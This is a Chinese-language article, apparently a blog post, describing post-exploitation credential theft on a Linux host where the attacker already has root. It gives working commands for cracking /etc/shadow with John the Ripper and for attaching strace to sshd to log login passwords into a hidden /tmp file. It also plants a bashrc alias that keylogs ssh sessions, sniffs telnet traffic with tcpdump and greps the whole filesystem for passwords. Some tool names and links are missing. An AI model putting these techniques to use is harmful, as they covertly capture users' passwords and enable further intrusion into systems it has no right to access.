Linux下密碼憑證竊取技巧和工具介紹

當獲得一臺主機的root許可權，我們總是會想辦法透過收集各種密碼憑證，以便繼續擴大戰果。 下的環境，相對比更純粹一些，介紹幾個比較常見的技巧和工具。

關鍵詞：憑證竊取、口令收集、密碼抓取、密碼嗅探

會自動把使用者的操作 記錄到歷史列表中，當使用者在 行中輸入賬號、密碼進行登入時，將會導致敏感資訊洩露。

shadow用於儲存 Linux 系統中使用者的密碼資訊，以一個用例來說明：

root:$1$aXmGMjXX$MGrR.Hquwr7UVMwOGOzJV0::0:99999:7:::

密碼域密文由三部分組成，即：$idsalt$encrypted。當id=1，採用md5進行加密，弱口令容易被破解。

當id為5時，採用SHA256進行加密，id為6時，採用SHA512進行加密，可以透過john進行暴力破解。

wget 
tar -zxvf john-1.9.0.tar.gz
make clean linux-x86-64
 ./john /etc/shadow

一款Linux下的密碼抓取神器，需要root許可權執行，透過轉儲程式並提取很可能包含明文密碼的行來利用記憶體中的明文憑證，目前支援Kali、Ubnutu等作業系統。

Github地址：

strace是一個動態跟蹤工具，堪比鍵盤記錄器的存在，可用來收集登入憑證。

(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)

使用正在來匹配使用者和密碼

# 查詢使用者名稱和密碼
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log
 
# 結果形式如下
[pid  2401] 22:34:34 read(6, "\10\0\0\0\4root", 9) = 9
[pid  2401] 22:34:34 read(6, "\4\0\0\0\16ssh-connection\0\0\0\0\0\0\0\0", 27) = 27
[pid  2401] 22:34:34 read(6, "\f\0\0\0\4toor", 9) = 9

# 新增命令別名
vi ~/.bashrc或者/etc/bashrc
alias ssh='strace -f -e trace=read,write -o /tmp/.ssh-`date '+%d%h%m%s'`.log -s 32 ssh'
# 使命令別名立即生效
source ~/.bashrc

透過grep 找到匹配行的後8行，可以根據密碼長度調整行數

grep -A 9 'password' .ssh-25Sep091601017212.log

抓取資料包進行分析，獲取明文賬號密碼，比如ftp、telnet、http。

tcpdump -i ens33 port 23 -w test.cap

全域性搜尋配置檔案、 、資料庫、日誌檔案是否有包含密碼。

grep -rn "password=" /

一個用於自動進行Linux交換分析bash ，自動進行交換提取，並搜尋Linux使用者憑據，Web表單憑據，Web表單電子郵件，HTTP基本身份驗證，WiFi SSID和金鑰等。

github專案地址：

一個利用C語言編寫,用來竊取linux下各類密碼(ssh,su,sudo)的工具。

原文地址：